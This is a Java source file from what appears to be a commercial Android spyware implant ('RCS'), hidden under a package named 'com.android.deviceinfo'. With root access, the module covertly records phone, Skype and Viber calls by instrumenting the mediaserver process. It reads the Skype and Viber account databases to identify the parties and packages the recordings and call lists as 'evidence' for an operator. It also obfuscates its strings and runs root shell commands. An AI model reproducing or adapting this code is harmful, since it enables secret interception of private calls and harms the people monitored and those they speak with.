/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : AgentApplication.java
 * Created      : 6-mag-2011
 * Author		: zeno
 * *******************************************/

package com.android.deviceinfo.module;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FilenameFilter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;

import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.FileObserver;

import com.android.deviceinfo.Call;
import com.android.deviceinfo.Device;
import com.android.deviceinfo.RunningProcesses;
import com.android.deviceinfo.Status;
import com.android.deviceinfo.auto.Cfg;
import com.android.deviceinfo.conf.ConfModule;
import com.android.deviceinfo.conf.Configuration;
import com.android.deviceinfo.conf.ConfigurationException;
import com.android.deviceinfo.db.GenericSqliteHelper;
import com.android.deviceinfo.evidence.EvidenceBuilder;
import com.android.deviceinfo.evidence.EvidenceType;
import com.android.deviceinfo.evidence.Markup;
import com.android.deviceinfo.file.AutoFile;
import com.android.deviceinfo.file.Path;
import com.android.deviceinfo.interfaces.Observer;
import com.android.deviceinfo.listener.ListenerCall;
import com.android.deviceinfo.listener.ListenerProcess;
import com.android.deviceinfo.manager.ManagerModule;
import com.android.deviceinfo.module.ModuleDevice.PInfo;
import com.android.deviceinfo.module.call.CallInfo;
import com.android.deviceinfo.module.call.Chunk;
import com.android.deviceinfo.module.call.EncodingTask;
import com.android.deviceinfo.module.call.RecordCall;
import com.android.deviceinfo.module.chat.ChatSkype;
import com.android.deviceinfo.module.chat.ChatViber;
import com.android.deviceinfo.util.AudioEncoder;
import com.android.deviceinfo.util.ByteArray;
import com.android.deviceinfo.util.CallBack;
import com.android.deviceinfo.util.Check;
import com.android.deviceinfo.util.DataBuffer;
import com.android.deviceinfo.util.DateTime;
import com.android.deviceinfo.util.Execute;
import com.android.deviceinfo.util.ICallBack;
import com.android.deviceinfo.util.Instrument;
import com.android.deviceinfo.util.Utils;
import com.android.deviceinfo.util.WChar;
import com.android.m.M;

public class ModuleCall extends BaseModule implements Observer<Call> {
	private static final String TAG = "ModuleCall"; //$NON-NLS-1$
	private static final int HEADER_SIZE = 6;

	public boolean recordFlag;

	private static final int CHANNEL_LOCAL = 0;
	private static final int CHANNEL_REMOTE = 1;

	private static final int CALLIST_PHONE = 0x0;
	private static final int CALLIST_SKYPE = 0x1;
	private static final int CALLIST_VIBER = 0x2;

	// From audio.h, Android 4.x
	private static final int AUDIO_STREAM_VOICE_CALL = 0;
	private static final int AUDIO_STREAM_SYSTEM = 1;
	private static final int AUDIO_STREAM_RING = 2;
	private static final int AUDIO_STREAM_MUSIC = 3;
	private static final int AUDIO_STREAM_MIC = -2; // Defined by us, not by
													// Android

	private FileObserver observer;
	private Thread queueMonitor;
	private static final Object sync = new Object();
	private static BlockingQueue<String> calls;
	private EncodingTask encodingTask;
	private CallBack hjcb;
	private Instrument hijack;

	public static final byte[] AMR_HEADER = new byte[] { 35, 33, 65, 77, 82, 10 };
	public static final byte[] MP4_HEADER = new byte[] { 0, 0, 0 };

	int amr_sizes[] = { 12, 13, 15, 17, 19, 20, 26, 31, 5, 6, 5, 5, 0, 0, 0, 0 };
	private RunningProcesses runningProcesses;
	private CallInfo callInfo;
	private List<Chunk> chunks = new ArrayList<Chunk>();
	private boolean[] finished = new boolean[2];
	private boolean canRecord = false;
	private boolean isStarted = false;
	private Object recordingLock = new Object();

	public static ModuleCall self() {
		return (ModuleCall) ManagerModule.self().get(M.e("call"));
	}

	@Override
	public boolean parse(ConfModule conf) {
		if (conf.has("record")) {
			try {
				recordFlag = conf.getBoolean("record");
			} catch (ConfigurationException e) {
				if (Cfg.EXCEPTION) {
					Check.log(e);
				}

				recordFlag = false;
			}
		}

		return true;
	}

	@Override
	public void actualGo() {

	}

	@Override
	public void actualStart() {
		isStarted=false;
		ListenerCall.self().attach(this);

		runningProcesses = RunningProcesses.self();
		callInfo = new CallInfo();

		if (recordFlag) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (actualStart): recording calls"); //$NON-NLS-1$
			}
		}

		if (Status.haveRoot()) {

			if (android.os.Build.VERSION.SDK_INT < 15 || android.os.Build.VERSION.SDK_INT > 17) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (actualStart): OS level not supported");
				}
				return;
			}

			if (!installedWhitelist()) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (actualStart) No whitelist apps installed");
				}
				return;
			}
			
			AudioEncoder.deleteAudioStorage();
			boolean audioStorageOk = AudioEncoder.createAudioStorage();


			if (audioStorageOk) {
				if (Cfg.DEBUG) {
					Check.log(TAG + "(actualStart): starting audio storage management");
					Execute.execute(new String[] { "touch", "/sdcard/1" });
					Execute.executeRoot("touch /sdcard/2");
				}

				if (installHijack()) {
					if (isMicAvailable()) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (resume) can't switch on mic because call is on");
						}
						ModuleMic.self().stop();
					}
					startWatchAudio();
					recording = true;

				}
			} else {
				if (Cfg.DEBUG) {
					Check.log(TAG + "(actualStart): unable to create audio storage");
				}

			}
		}
		isStarted=true;
	}

	private boolean installedWhitelist() {

		String[] whitelist = new String[] { "com.viber.voip", "com.skype.raider" };

		final ArrayList<PInfo> res = new ArrayList<PInfo>();
		final PackageManager packageManager = Status.getAppContext().getPackageManager();

		for (String white : whitelist) {
			try {
				ApplicationInfo ret = packageManager.getApplicationInfo(white, 0);
				if (Cfg.DEBUG) {
					Check.log(TAG + " (installedWhitelist) found " + white);
				}
				return true;
			} catch (NameNotFoundException ex) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (installedWhitelist) not installed: " + white);
				}
			}

			String pm = packageManager.getInstallerPackageName(white);
			if (Cfg.DEBUG) {
				Check.log(TAG + " (installedWhitelist) " + pm);
			}
		}

		return false;

	}

	@Override
	public void actualStop() {
		ListenerCall.self().detach(this);

		if (Status.haveRoot()) {
			if (queueMonitor != null && queueMonitor.isAlive()) {
				encodingTask.stop();
			}

			if (observer != null) {
				observer.stopWatching();
			}

			if (hijack != null) {
				hijack.stopInstrumentation();
				hijack.killProc();
			}

			if (isMicAvailable()) {
				ModuleMic.self().resetBlacklist();
			}
		}
		canRecord = false;
	}

	private void startWatchAudio() {
		calls = new LinkedBlockingQueue<String>();

		// Remove stray .bin files
		purgeAudio();

		// Scan for previously stored audio files
		scrubAudio();

		// Start the monitor and encoding thread
		encodingTask = new EncodingTask(this, sync, calls);

		queueMonitor = new Thread(encodingTask);
		queueMonitor.start();

		// Give it time to spawn before signaling
		Utils.sleep(500);

		while (queueMonitor.isAlive() == false) {
			Utils.sleep(250);
		}

		// Tell the thread to process scrubbed files
		encodingTask.wake();

		// Observe our audio storage (events are filtered so if you push a
		// .tmp using ADB it wont
		// trigger, you have to copy the test file and RENAME it .tmp to
		// trigger this observer)
		observer = new FileObserver(AudioEncoder.getAudioStorage(), FileObserver.MOVED_TO) {
			@Override
			public void onEvent(int event, String file) {
				if (Cfg.DEBUG) {
					Check.log(TAG + "(onEvent): event: " + event + " for file: " + file);
				}

				// Add to list
				if (addToEncodingList(AudioEncoder.getAudioStorage() + file) == true) {
					// synchronized (sync) {
					if (Cfg.DEBUG) {
						Check.log(TAG + "(onEvent): signaling EncodingTask thread");
					}

					encodingTask.wake();
					// }
				}

			}
		};

		observer.startWatching();
	}
	private boolean isMicAvailable(){
		return ModuleMic.self() != null && ModuleCall.self().isSuspended() && !ModuleCall.self().canRecord();
	}
	private boolean installHijack() {
		// Initialize the callback system

		if (isMicAvailable()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (installHijack), Cannot start, because Mic is running");
			}
			return false;
		}


		hjcb = new CallBack();
		hjcb.register(new HijackCallBack());

		hijack = new Instrument(M.e("mediaserver"), AudioEncoder.getAudioStorage());

		if (hijack.startInstrumentation()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(actualStart): hijacker successfully installed");
			}

		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(actualStart): hijacker cannot be installed");
			}

			return false;
		}

		return true;
	}

	private void purgeAudio() {
		// Scrub for existing files on FS
		File f = new File(AudioEncoder.getAudioStorage());

		FilenameFilter filter = new FilenameFilter() {
			public boolean accept(File dir, String name) {
				return (name.startsWith(M.e("Qi-")) && name.toLowerCase().endsWith(M.e(".bin")));
			}
		};

		File file[] = f.listFiles(filter);
		long now = System.currentTimeMillis() / 1000;

		// Remove old files
		for (File storedFile : file) {
			String fullName = storedFile.getAbsolutePath();

			// Stored filetime (unix epoch() is in seconds not ms)
			String split[] = fullName.split("-");
			long epoch = Long.parseLong(split[1]);
			// long id = Long.parseLong(split[2]);

			// Files older than 24 hours are removed
			if (now - epoch > 60 * 60 * 24) {
				if (Cfg.DEBUG) {
					Check.log(TAG + "(purgeAudio): removing stray binary: " + fullName + " which is: " + (now - epoch)
							/ 3600 + " hours old");
				}

				// Make it read-write

				Execute.execute(Configuration.shellFile + " " + M.e("pzm 666 ") + fullName);

				storedFile.delete();
			}
		}
	}

	private void scrubAudio() {
		// Scrub for existing files on FS
		File f = new File(AudioEncoder.getAudioStorage());

		FilenameFilter filter = new FilenameFilter() {
			public boolean accept(File dir, String name) {
				return (name.startsWith(M.e("Qi-")) && name.toLowerCase().endsWith(M.e(".tmp")));
			}
		};

		File file[] = f.listFiles(filter);

		// sort by name
		List<File> filesList = new java.util.ArrayList<File>();
		filesList.addAll(java.util.Arrays.asList(file));
		java.util.Collections.sort(filesList);

		// Adding scrubbed files
		for (File storedFile : filesList) {
			String fullName = storedFile.getAbsolutePath();

			addToEncodingList(fullName);
		}
	}

	synchronized private boolean addToEncodingList(String s) {

		if (s.contains(M.e("Qi-")) == false
				|| (s.endsWith(M.e("-l.tmp")) == false && s.endsWith(M.e("-r.tmp")) == false)) {

			if (Cfg.DEBUG) {
				Check.log(TAG + "(addToEncodingList): " + s + " is not intended for us");
			}

			return false;
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + "(addToEncodingList): adding \"" + s + "\" to the encoding list");
		}

		hjcb.trigger(s);

		// Make it read-write in any case
		Execute.execute(Configuration.shellFile + " " + M.e("pzm 666 ") + s);

		// Add the file to the list
		calls.add(s);

		return true;
	}

	public int notification(final Call call) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (notification): " + call);//$NON-NLS-1$
		}

		if (Cfg.DEBUG) {
			Check.log(TAG
					+ " (notification): number: " + call.getNumber() + " in:" + call.isIncoming() + " runn:" + isRunning()); //$NON-NLS-1$
		}

		if (call.isOffhook() == false) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (notification): call not yet established"); //$NON-NLS-1$
			}
			return 0;
		}

		final boolean incoming = call.isIncoming();
		boolean recording = false;

		try {
			// Let's start with call recording
			if (recordFlag && RecordCall.self().isSupported(this)) {
				recording = RecordCall.self().recordCall(this, call, incoming);
			}
		} catch (Exception ex) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " ERROR (notification), ", ex);
			}
		}

		if (!recordFlag && !call.isOngoing()) {

			if (Cfg.DEBUG) {
				Check.log(TAG + " (notification): Saving CallList evidence"); //$NON-NLS-1$
			}

			String from = call.getFrom();
			String to = call.getTo();

			saveCalllistEvidence(CALLIST_PHONE, from, to, incoming, call.getTimeBegin(), call.getDuration());
		}

		return 0;
	}

	public boolean saveCallEvidence(String peer, String myNumber, boolean incoming, Date dateBegin, Date dateEnd,
			String currentRecordFile, boolean autoClose, int channel, int programId) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (saveCallEvidence): " + " peer: " + peer + " from: " + dateBegin + " to: " + dateEnd
					+ " incoming: " + incoming);

		}

		final byte[] additionaldata = getCallAdditionalData(peer, myNumber, incoming, new DateTime(dateBegin),
				new DateTime(dateEnd), channel, programId);

		AutoFile file = new AutoFile(currentRecordFile);
		if (file.exists() && file.getSize() > HEADER_SIZE && file.canRead()) {
			if (Cfg.DEBUG) {
				// Check.log(TAG + " (saveCallEvidence): file size = " +
				// file.getSize());
			}

			int offset = 0;
			byte[] header = file.read(0, 6);

			if (ByteArray.equals(header, 0, AMR_HEADER, 0, AMR_HEADER.length)) {
				if (Cfg.DEBUG) {
					// Check.log(TAG + " (saveCallEvidence): AMR header");
				}
				offset = AMR_HEADER.length;
			}

			byte[] data = file.read(offset);
			int pos = checkIntegrity(data);

			if (pos != data.length) {
				data = ByteArray.copy(data, 0, pos);
			}

			if (Cfg.DEBUG) {
				// Check.log(TAG + " (saveCallEvidence), data len: " +
				// data.length + " pos: " + pos);
				// Check.log(TAG + " (saveCallEvidence), data[0:6]: " +
				// ByteArray.byteArrayToHex(data).substring(0, 20));
			}

			EvidenceBuilder.atomic(EvidenceType.CALL, additionaldata, data);

			if (autoClose) {
				EvidenceBuilder.atomic(EvidenceType.CALL, additionaldata, ByteArray.intToByteArray(0xffffffff));
			}

			if (!Cfg.DEBUG) {
				// Check.log(TAG + " (saveCallEvidence): deleting file: " +
				// file);
				file.delete();
			}

			return true;
		} else {
			return false;
		}
	}

	private void closeCallEvidence(String peer, String number, boolean incoming, Date dateBegin, Date dateEnd,
			int programId) {
		final byte[] additionaldata = getCallAdditionalData(peer, number, incoming, new DateTime(dateBegin),
				new DateTime(dateEnd), CHANNEL_LOCAL, programId);

		if (Cfg.DEBUG) {
			Check.log(TAG + "(closeCallEvidence): closing call for " + peer);
		}

		EvidenceBuilder.atomic(EvidenceType.CALL, additionaldata, ByteArray.intToByteArray(0xffffffff));
	}

	private int checkIntegrity(byte[] data) {
		int pos = 0;
		int chunklen = 0;

		while (pos < data.length) {
			chunklen = amr_sizes[(data[pos] >> 3) & 0x0f];

			if (chunklen == 0) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (saveRecorderEvidence) Error: zero len amr chunk, pos: " + pos);
				}
			}

			pos += chunklen + 1;
		}

		return pos;
	}

	private byte[] getCallAdditionalData(String peer, String myNumber, boolean incoming, DateTime dateBegin,
			DateTime dateEnd, int channels, int programId) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (getCallAdditionalData): caller: " + peer + " callee: " + myNumber);
		}

		if (Cfg.DEBUG) {
			Check.asserts(peer != null, " (getCallAdditionalData) Assert failed, null number");
		}

		byte[] caller;
		byte[] callee;

		callee = WChar.getBytes(myNumber);
		caller = WChar.getBytes(peer);

		final int version = 2008121901; // CALL_LOG_VERSION
		// final int program = 0x0145; // LOGTYPE_CALL_MOBILE
		final int LOG_AUDIO_CODEC_AMR = 0x1;
		int channel = channels; // 0 - local, 1 - remote
		int sampleRate = 8000 | LOG_AUDIO_CODEC_AMR;

		int len = 20 + 16 + 8 + caller.length + callee.length;
		final byte[] additionaldata = new byte[len];
		final DataBuffer additionalData = new DataBuffer(additionaldata, 0, len);

		additionalData.writeInt(version);
		additionalData.writeInt(channel);
		additionalData.writeInt(programId);
		additionalData.writeInt(sampleRate);
		additionalData.writeInt(incoming ? 1 : 0);
		additionalData.writeLong(dateBegin.getFiledate());
		additionalData.writeLong(dateEnd.getFiledate());

		additionalData.writeInt(caller.length);
		additionalData.writeInt(callee.length);

		additionalData.write(caller);
		additionalData.write(callee);

		if (Cfg.DEBUG) {
			// Check.log(TAG + " (getCallAdditionalData) caller: %s callee: %s",
			// caller.length, callee.length);
			// Check.log(TAG + " getPosition: %s, len: %s ",
			// additionalData.getPosition(), len);
		}

		if (Cfg.DEBUG) {
			Check.asserts(additionalData.getPosition() == len, " (getCallAdditionalData) Assert failed, wrong len: "
					+ additionalData.getPosition() + ", wanted len:" + len);
		}

		return additionaldata;
	}

	private void saveCalllistEvidence(int programId, String from, String to, boolean incoming, Date fromTime,
			int duration) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (saveCalllistEvidence):  from: " + from + " to: " + to);
		}

		final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
		// Adding header
		try {

			int flags = incoming ? 1 : 0;

			if (Cfg.DEBUG) {
				Check.log(TAG + " (saveCalllistEvidence) %s: %ss", fromTime, duration);
			}

			outputStream.write(ByteArray.intToByteArray((int) (fromTime.getTime() / 1000)));
			outputStream.write(ByteArray.intToByteArray(programId));
			outputStream.write(ByteArray.intToByteArray(flags));
			outputStream.write(WChar.getBytes(from, true));
			outputStream.write(WChar.getBytes(from, true));
			outputStream.write(WChar.getBytes(to, true));
			outputStream.write(WChar.getBytes(to, true));
			outputStream.write(ByteArray.intToByteArray(duration));
			outputStream.write(ByteArray.intToByteArray(EvidenceBuilder.E_DELIMITER));

		} catch (IOException ex) {
			if (Cfg.EXCEPTION) {
				Check.log(ex);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " (preparePacket) Error: " + ex);
			}
			return;
		}

		byte[] data = outputStream.toByteArray();
		EvidenceBuilder.atomic(EvidenceType.CALLLISTNEW, null, data);
	}

	public synchronized static void addTypedString(DataBuffer databuffer, byte type, String name) {
		if (name != null && name.length() > 0) {
			final int header = (type << 24) | (name.length() * 2);
			databuffer.writeInt(header);
			databuffer.write(WChar.getBytes(name));
		}
	}

	private int wsize(String string) {
		if (string.length() == 0) {
			return 0;
		} else {
			return string.length() * 2 + 4;
		}
	}

	// Chunk lastr = null;
	boolean started = false;

	// start: call start date
	// sec_length: call length in seconds
	// type: call type (Skype, Viber, Paltalk, Hangout)
	public synchronized void encodeChunks(AutoFile file) {
		int first_epoch, last_epoch;
		AudioEncoder audioEncoder = new AudioEncoder(file.getFilename());

		first_epoch = audioEncoder.getCallStartTime();
		last_epoch = audioEncoder.getCallEndTime();

		// Now rawPcm contains the raw data
		String encodedFile = file.getFilename() + M.e(".err");
		String encodedFileName = file.getName();

		boolean remote = encodedFile.endsWith(M.e("-r.tmp.err"));

		long streamId = getStreamId(encodedFile);
		boolean ret = callInfo.setStreamId(remote, streamId);

		if (!callInfo.update(false)) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (encodeChunks): unknown call program");
			}

			return;
		}

		// Decide heuristics logic

		boolean heuristic = true;

		if (!callInfo.heuristic && remote) { // Skype

			if (Cfg.DEBUG) {
				Check.log(TAG
						+ "(encodeChunks): Skype call in progress, applying bitrate heuristics on remote channel only");
			}

			heuristic = false;

		}

		if (audioEncoder.encodetoAmr(encodedFile, audioEncoder.resample(heuristic))) {
			Date begin = new Date(first_epoch * 1000L);
			Date end = new Date(last_epoch * 1000L);

			finished[remote ? 1 : 0] = false;

			String caller = callInfo.getCaller();
			String callee = callInfo.getCallee();

			if (callInfo.delay) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (encodeChunks) delay, just add a chunk: " + chunks.size());
				}
				chunks.add(new Chunk(encodedFile, begin, end, remote));
				sort_chunks();
			} else {
				// Encode to evidence
				int channel = remote ? 0 : 1;

				if (!started) {
					if (remote) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (encodeChunks): saving, possibly discarted, remote: " + begin);
						}
						chunks.add(new Chunk(encodedFile, begin, end, remote));
						sort_chunks();
					} else {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (encodeChunks): first LOCAL: " + encodedFileName);
						}
						started = true;

						Chunk firstl = new Chunk(encodedFile, begin, end, remote);
						chunks.add(firstl);
						sort_chunks();

						for (Chunk chunk : chunks) {
							if (chunk.end.getTime() < firstl.begin.getTime()) {
								AutoFile filetmp = new AutoFile(encodedFile);
								filetmp.delete();
							} else {
								saveCallEvidence(caller, callee, chunk, callInfo.programId);
							}
						}
						chunks.clear();

					}
				} else {
					saveCallEvidence(caller, callee, true, begin, end, encodedFile, false, channel, callInfo.programId);
				}
			}

			// We have an end of call and it's on both channels
			if (audioEncoder.isLastCallFinished()) {

				finished[remote ? 1 : 0] = true;
				if (Cfg.DEBUG) {
					Check.log(TAG + " (encodeChunks) finished: [" + finished[0] + "," + finished[1] + "]");
				}
				// || callInfo.programId == 0x0148
				if ((finished[0] && finished[1])) {
					// After encoding create the end of call marker
					if (callInfo.delay) {
						saveAllEvidences(chunks, begin, end);
					} else {
						if (callInfo.valid)
							closeCallEvidence(caller, callee, true, begin, end, callInfo.programId);
					}
					callInfo = new CallInfo();
					chunks = new ArrayList<Chunk>();
					finished = new boolean[2];
					started = false;

					if (Cfg.DEBUG) {
						Check.log(TAG + "(encodeChunks): end of call reached");
					}
				}
			}
		}

		// Remove file
		if (Cfg.DEBUG) {
			// Check.log(TAG + "(encodeChunks): deleting " + file.getName());
		}

		audioEncoder.removeRawFile();

	}

	private long getStreamId(String fullName) {

		// Stored filetime (unix epoch() is in seconds not ms)
		String split[] = fullName.split("-");
		long epoch = Long.parseLong(split[1]);
		long streamId = Long.parseLong(split[2]);
		if (Cfg.DEBUG) {
			Check.log(TAG + " (getStreamId): " + streamId);
		}
		return streamId;
	}

	private void sort_chunks() {
		Collections.sort(chunks, new Comparator<Chunk>() {
			public int compare(Chunk ch1, Chunk ch2) {
				return (int) (ch1.begin.getTime() - ch2.begin.getTime());
			}
		});
	}

	private void saveCallEvidence(String caller, String callee, Chunk chunk, int programId) {
		saveCallEvidence(caller, callee, true, chunk.begin, chunk.end, chunk.encodedFile, false, chunk.channel,
				programId);
	}

	private void saveAllEvidences(List<Chunk> chunks, Date begin, Date end) {

		if (Cfg.DEBUG) {
			Check.log(TAG + " (saveAllEvidences) chunks: " + chunks.size());
		}
		CallInfo callInfo = new CallInfo();
		callInfo.update(true);

		String caller = callInfo.getCaller();
		String callee = callInfo.getCallee();

		Chunk lastr = null;
		boolean started = false;

		for (Chunk chunk : chunks) {
			saveCallEvidence(caller, callee, true, chunk.begin, chunk.end, chunk.encodedFile, false, chunk.channel,
					callInfo.programId);

		}

		if (Cfg.DEBUG) {
			Check.log(TAG + " (saveAllEvidences) saving last chunk");
		}
		closeCallEvidence(caller, callee, true, begin, end, callInfo.programId);
	}

	private boolean updateCallInfo(CallInfo callInfo, boolean end) {

		// RunningAppProcessInfo fore = runningProcesses.getForeground();
		if (callInfo.valid) {
			return true;
		}

		ListenerProcess lp = ListenerProcess.self();

		if (lp.isRunning(M.e("com.skype.raider"))) {
			if (end) {
				return true;
			}
			callInfo.processName = M.e("com.skype.raider");
			// open DB
			String account = ChatSkype.readAccount();
			callInfo.account = account;
			callInfo.programId = 0x0146;
			callInfo.delay = false;
			callInfo.heuristic = false;

			GenericSqliteHelper helper = ChatSkype.openSkypeDBHelper(account);

			boolean ret = false;
			if (helper != null) {
				ret = ChatSkype.getCurrentCall(helper, callInfo);
			}

			return ret;
		} else if (lp.isRunning(M.e("com.viber.voip"))) {
			boolean ret = false;
			callInfo.processName = M.e("com.viber.voip");
			callInfo.delay = true;
			callInfo.heuristic = true;

			// open DB
			callInfo.programId = 0x0148;
			if (end) {
				String account = ChatViber.readAccount();
				callInfo.account = account;
				GenericSqliteHelper helper = ChatViber.openViberDBHelperCall();

				if (helper != null) {
					ret = ChatViber.getCurrentCall(helper, callInfo);
				}

				if (Cfg.DEBUG) {
					Check.log(TAG + " (updateCallInfo) id: " + callInfo.id);
				}
			} else {
				callInfo.account = M.e("delay");
				callInfo.peer = M.e("delay");
				ret = true;
			}

			return ret;

		}
		return false;
	}

	public class HijackCallBack implements ICallBack {
		private static final String TAG = "HijackCallBack";

		public <O> void run(O o) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (run callback): " + o);
			}
		}
	}

	public boolean isRecording() {
		return recording;
	}

	public boolean isBooted() {
		return isStarted;
	}
}